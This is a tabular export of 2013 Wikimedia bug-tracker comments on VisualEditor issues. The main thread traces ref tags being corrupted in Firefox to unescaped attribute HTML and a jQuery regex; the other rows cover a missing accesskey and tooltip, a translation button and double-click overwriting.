212060,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","The reason this doesn't happen in Chrome is because Chrome normalizes < to &lt; in attribute values in .innerHTML. Firefox doesn't do this and gives us the original < as originally provided by Parsoid.

The presence of these <> then triggers a jQuery regex looking for self-closing tags:

/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi

...which believes our span (!) is self-closing because it starts with <span and contains /> later, so it helpfully ""fixes"" our HTML and replaces the /> with </span>",,,1366906954,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,1.0,0.5,0.5,1.5,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.5,0.0,4.5,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,1.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,10.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,3.0,1.5,4.0,2.5,3.0,5.5,0.0,0.0,1.0,0.0,1.0,0.0,1.5,0.0,4.5,8.5,3.0,0.0,2.0,0.0,4.5,0.0,1.0,0.5,0.5,2.0,0.0,0.0,8.0,4.420437405731523,0.7665912518853695,"The reason this doesn't happen in Chrome is because Chrome normalizes < to &lt; in attribute values in .innerHTML. Firefox doesn't do this and gives us the original < as originally provided by Parsoid.

The presence of these <> then triggers a jQuery regex looking for self-closing tags:

/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi

...which believes our span (!) is self-closing because it starts with <span and contains /> later, so it helpfully ""fixes"" our HTML and replaces the /> with </span>"
212055,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","Ed's quick hack is now merged, but we still need to fix this - upstream bug in jQuery or just a work around?",,,1366906093,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,1.0,"Ed's quick hack is now merged, but we still need to fix this - upstream bug in jQuery or just a work around?"
212052,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","(In reply to comment #6)
> This is a bug in jQuery. To reproduce:

That confirms my suspicion. The bug appeared first after you started using it to avoid dropping figure elements.",,,1366904572,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.967741935483871,0.9354838709677419,"(In reply to comment #6)
QUOTE

That confirms my suspicion. The bug appeared first after you started using it to avoid dropping figure elements."
212049,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","This is a bug in jQuery. To reproduce:

>>> $( '<div>' ).html( '<span data-parsoid=""{&quot;src&quot;:&quot;<ref name=\&quot;Foo\&quot; />&quot;,&quot;tsr&quot;:[32,50],&quot;dsr&quot;:[32,50,null,null]}"">' ).html();

""<span data-parsoid=""{&quot;src&quot;:&quot;<ref name=&quot;Foo&quot; ></span>&quot;,&quot;tsr&quot;:[32,50],&quot;dsr&quot;:[32,50,null,null]}""></span>""",,,1366904257,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,6.785714285714286,0.8571428571428571,"This is a bug in jQuery. To reproduce:

QUOTE

""<span data-parsoid=""{&quot;src&quot;:&quot;<ref name=&quot;Foo&quot; ></span>&quot;,&quot;tsr&quot;:[32,50],&quot;dsr&quot;:[32,50,null,null]}""></span>"""
212044,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","This is what I see using wget, FF, and the parse.js in the shell:

<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" typeof=""mw:Object/Ext/Ref"" data-parsoid='{""src"":""<ref name=\""rfc3092\"" />"",""tsr"":[416,438],""dsr"":[416,438,null,null]}'><a href=""#cite_note-rfc3092-1"" data-parsoid=""{}"">[1]</a></span><meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid='{""tsr"":[416,438],""selfClose"":true,""src"":""<ref name=\""rfc3092\"" />"",""dsr"":[416,438,22,0]}'>

Make sure you are not looking at a pretty-printed inspect tool. Either use innerHTML (which will use non-smart quoting) or the actual page source (ctrl-u in Firefox).

From what I see Firefox parses our HTML just fine on the way in, with the entire JSON string being parsed as the attribute value. Do you actually see a parsing difference on the way in resulting in a different DOM?

Changing the title back, as I am pretty sure this is not a bug on our end.",,,1366902121,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.5,1.0,5.0,1.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,2.5,0.0,4.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,4.5,1.5,0.0,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,2.5,10.5,0.0,2.0,7.5,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,3.5,6.5,7.5,0.5,8.0,0.0,3.5,0.0,1.5,2.0,0.0,2.5,0.0,0.0,2.5,4.494791666666667,0.6458333333333333,"This is what I see using wget, FF, and the parse.js in the shell:

<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" typeof=""mw:Object/Ext/Ref"" data-parsoid='{""src"":""<ref name=\""rfc3092\"" />"",""tsr"":[416,438],""dsr"":[416,438,null,null]}'><a href=""#cite_note-rfc3092-1"" data-parsoid=""{}"">[1]</a></span><meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid='{""tsr"":[416,438],""selfClose"":true,""src"":""<ref name=\""rfc3092\"" />"",""dsr"":[416,438,22,0]}'>

Make sure you are not looking at a pretty-printed inspect tool. Either use innerHTML (which will use non-smart quoting) or the actual page source (ctrl-u in Firefox).

From what I see Firefox parses our HTML just fine on the way in, with the entire JSON string being parsed as the attribute value. Do you actually see a parsing difference on the way in resulting in a different DOM?

Changing the title back, as I am pretty sure this is not a bug on our end."
212036,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","The problem appears to be with the output from Parsoid with regard to <ref> tags not being escaped.

To give http://parsoid.wmflabs.org/en/Foobar as an example, in Chrome this looks fine:

<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" typeof=""mw:Object/Ext/Ref"" data-parsoid=""{&quot;src&quot;:&quot;<ref name=\&quot;rfc3092\&quot; />;&quot;,&quot;tsr&quot;:[416,438],&quot;dsr&quot;:[416,438,null,null]}""><a href=""#cite_note-rfc3092-1"" data-parsoid=""{}"">[1]</a></span>
<meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid=""{&quot;tsr&quot;:[416,438],&quot;selfClose&quot;:true,&quot;src&quot;:&quot;&lt;ref name=\&quot;rfc3092\&quot; /&gt;&quot;,&quot;dsr&quot;:[416,438,22,0]}"">


... but in Firefox the browser presumably doesn't like the un-escaped ""<ref name=... />"" in the attribute of the <span> and so it does this:

<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" data-parsoid=""{""src"":""<ref name=\""rfc3092\"" />"",""tsr"":[416,438],""dsr"":[416,438,null,null]}"" typeof=""mw:Object/Ext/Ref""></span>
<meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid=""{""tsr"":[416,438],""selfClose"":true,""src"":""<ref name=\""rfc3092\"" />"",""dsr"":[416,438,22,0]}""></meta>

I.e., closing the <span> early and throwing away the contents. Note that the following meta is also fragile as it contains unescaped JSON as well.

The result of this is that <ref name=""…"" /> is wrongly expanded to <ref name=""…"" ></span> and so corrupted on save by Firefox users.",,,1366898909,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,2.3333333333333335,1.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,6.666666666666667,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,16.666666666666668,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.6666666666666667,8.0,0.6666666666666666,1.6666666666666667,4.666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,2.6666666666666665,0.0,0.6666666666666666,6.666666666666667,11.333333333333334,0.0,11.666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,7.333333333333333,5.086021505376344,0.6236559139784946,"The problem appears to be with the output from Parsoid with regard to <ref> tags not being escaped.

To give URL as an example, in Chrome this looks fine:

<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" typeof=""mw:Object/Ext/Ref"" data-parsoid=""{&quot;src&quot;:&quot;<ref name=\&quot;rfc3092\&quot; />;&quot;,&quot;tsr&quot;:[416,438],&quot;dsr&quot;:[416,438,null,null]}""><a href=""#cite_note-rfc3092-1"" data-parsoid=""{}"">[1]</a></span>
<meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid=""{&quot;tsr&quot;:[416,438],&quot;selfClose&quot;:true,&quot;src&quot;:&quot;&lt;ref name=\&quot;rfc3092\&quot; /&gt;&quot;,&quot;dsr&quot;:[416,438,22,0]}"">


... but in Firefox the browser presumably doesn't like the un-escaped ""<ref name=... />"" in the attribute of the <span> and so it does this:

<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" data-parsoid=""{""src"":""<ref name=\""rfc3092\"" />"",""tsr"":[416,438],""dsr"":[416,438,null,null]}"" typeof=""mw:Object/Ext/Ref""></span>
<meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid=""{""tsr"":[416,438],""selfClose"":true,""src"":""<ref name=\""rfc3092\"" />"",""dsr"":[416,438,22,0]}""></meta>

I.e., closing the <span> early and throwing away the contents. Note that the following meta is also fragile as it contains unescaped JSON as well.

The result of this is that <ref name=""…"" /> is wrongly expanded to <ref name=""…"" ></span> and so corrupted on save by Firefox users."
212028,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>",Related URL: https://gerrit.wikimedia.org/r/60840 (Gerrit Change Ib6a0cfb880e769f28b42c9fa63ddc1abc75c399d),,,1366898453,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ib6a0cfb880e769f28b42c9fa63ddc1abc75c399d)
212022,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>",*** Bug 47419 has been marked as a duplicate of this bug. ***,,,1366391720,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47419 has been marked as a duplicate of this bug. ***
212016,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","This seems to be Firefox specific.  I am seeing this on a lot of pages in Firefox, but not in Chrome.  Gabriel can reproduce as well.",,,1366388687,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,19.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,16.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.375,0.84375,"This seems to be Firefox specific.  I am seeing this on a lot of pages in Firefox, but not in Chrome.  Gabriel can reproduce as well."
49397,"[TUX] Cannot confirm outdated translation on ""page"" view","Screenshot of the problem

On the ""page"" view, when an outdated translation is opened, the editor shows a disabled ""save translation"" as the main action.

It should show an enabled ""Confirm translation"" button instead (as it is the case for the ""list"" view).

I found the bug on outdated translations at https://translatewiki.net/w/i.php?title=Special:Translate&group=ext-visualeditor&language=ca&filter=&action=page

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10395}",High,80.0,1366356360,1392664217.0,PHID-USER-c47vnc2yxmwfvvc4367q,True,,False,PHID-TASK-4ifg7mkk6tb64fjj6xsp,task_description,resolved,True,c1,1,False,False,False,-11,,0.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,7.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,7.0,1.0,0.0,8.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.649484536082474,0.5876288659793815,"Screenshot of the problem

On the ""page"" view, when an outdated translation is opened, the editor shows a disabled ""save translation"" as the main action.

It should show an enabled ""Confirm translation"" button instead (as it is the case for the ""list"" view).

I found the bug on outdated translations at URL

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10395}"
49396,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,"Ordinarily there's an accesskey (e.g. alt+shift+E in Firefox) on the ""Edit"" tab in Vector. The accesskey is made known to the user through a tooltip. VisualEditor eliminates this accesskey and tooltip, and adds a new ""Edit source"" tab without an accesskey or tooltip. 

Ideally both the ""Edit"" and ""Edit source"" tab should have accesskeys and tooltips to allow quick switching between the modes for power users.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366355400,1366745664.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-app5etuemqiwaqysxa3i,task_description,resolved,True,c1,1,False,False,True,-11,,0.0,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,8.5,0.0,5.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,5.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.137843137254902,0.6829411764705883,"Ordinarily there's an accesskey (e.g. alt+shift+E in Firefox) on the ""Edit"" tab in Vector. The accesskey is made known to the user through a tooltip. VisualEditor eliminates this accesskey and tooltip, and adds a new ""Edit source"" tab without an accesskey or tooltip. 

Ideally both the ""Edit"" and ""Edit source"" tab should have accesskeys and tooltips to allow quick switching between the modes for power users.

--------------------------
**Version**: unspecified
**Severity**: normal"
210823,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,Code is now merged and will go out on Thursday.,,,1366745664,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-app5etuemqiwaqysxa3i,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,Code is now merged and will go out on Thursday.
210818,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,"Change-Id: If598552fac639da645a8b1273c5fc6028695fcc1

> @@ -777,10 +778,10 @@ ve.init.mw.ViewPageTarget.prototype.setupSkinTabs
>  			this.veEditUri,
> -			$caEdit.text(),
> +			$caEditA.text(),
>  			$caEdit.attr( 'id' ),
> -			$caEdit.attr( 'title' ),
> -			$caEdit.attr( 'accesskey' ),
> +			$caEditA.attr( 'title' ),
> +			$caEditA.attr( 'accesskey' ),
>  			caVeEditSource
>  		);
>  	}",,,1366618061,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-app5etuemqiwaqysxa3i,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,52.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.275862068965517,0.27586206896551724,"Change-Id: If598552fac639da645a8b1273c5fc6028695fcc1

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
210812,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,Related URL: https://gerrit.wikimedia.org/r/60241 (Gerrit Change If598552fac639da645a8b1273c5fc6028695fcc1),,,1366617728,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-app5etuemqiwaqysxa3i,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If598552fac639da645a8b1273c5fc6028695fcc1)
210805,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,"When mw.ViewPageTarget has its tabLayout in ""replace"" mode (where it replaces the regular Edit tab with a VE-version and adds an Edit source tab) the code explicitly copies over the label, tooltip and accesskey.

It appears this isn't working anymore. I worked a week ago. The code hasn't changed so it looks like something else has broken it.

Moving bug to Integration (perhaps the component should be renamed to ""MediaWiki integration"")",,,1366362135,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-app5etuemqiwaqysxa3i,task_subcomment,,True,c1,1,True,,,-11,,0.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,11.0,7.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,12.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,7.0,7.0,0.0,4.0,0.0,7.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,4.032608695652174,0.7391304347826086,"When mw.ViewPageTarget has its tabLayout in ""replace"" mode (where it replaces the regular Edit tab with a VE-version and adds an Edit source tab) the code explicitly copies over the label, tooltip and accesskey.

It appears this isn't working anymore. I worked a week ago. The code hasn't changed so it looks like something else has broken it.

Moving bug to Integration (perhaps the component should be renamed to ""MediaWiki integration"")"
49391,VisualEditor: Double-click to overwrrite is broken,"1. Open http://ve-change-marking.instance-proxy.wmflabs.org/wiki/Test
2. Double-click a word and type a single-char
   (you see that the selected word continues to show in the interface after the char you typed)
3. Look at review-and-save.
4. The word has actually been deleted => the interface is not updated as it should

(4) causes the user (=me in this case) to repeatedly try and delete that word and is instead deleting newer words which will all show up in the diff without realizing that they are being deleted.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1366326300,1366340790.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-qwln7sdc2jjjjhdroshx,task_description,resolved,True,c1,1,True,False,True,-11,,1.0,0.0,0.0,2.5,0.5,4.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,8.0,0.0,1.5,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,4.5,2.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,9.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,5.0,3.5,4.0,1.5,2.5,8.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,3.5,8.0,1.5,0.0,0.0,0.0,3.5,0.0,1.0,1.0,1.0,1.5,1.0,0.0,2.5,3.546875,0.734375,"1. Open URL
2. Double-click a word and type a single-char
   (you see that the selected word continues to show in the interface after the char you typed)
3. Look at review-and-save.
4. The word has actually been deleted => the interface is not updated as it should

(4) causes the user (=me in this case) to repeatedly try and delete that word and is instead deleting newer words which will all show up in the diff without realizing that they are being deleted.

--------------------------
**Version**: unspecified
**Severity**: major"
210568,VisualEditor: Double-click to overwrrite is broken,Inez fixed this.  Possibly https://gerrit.wikimedia.org/r/#/c/59965/,,,1366340774,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-qwln7sdc2jjjjhdroshx,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,Inez fixed this.  Possibly URL
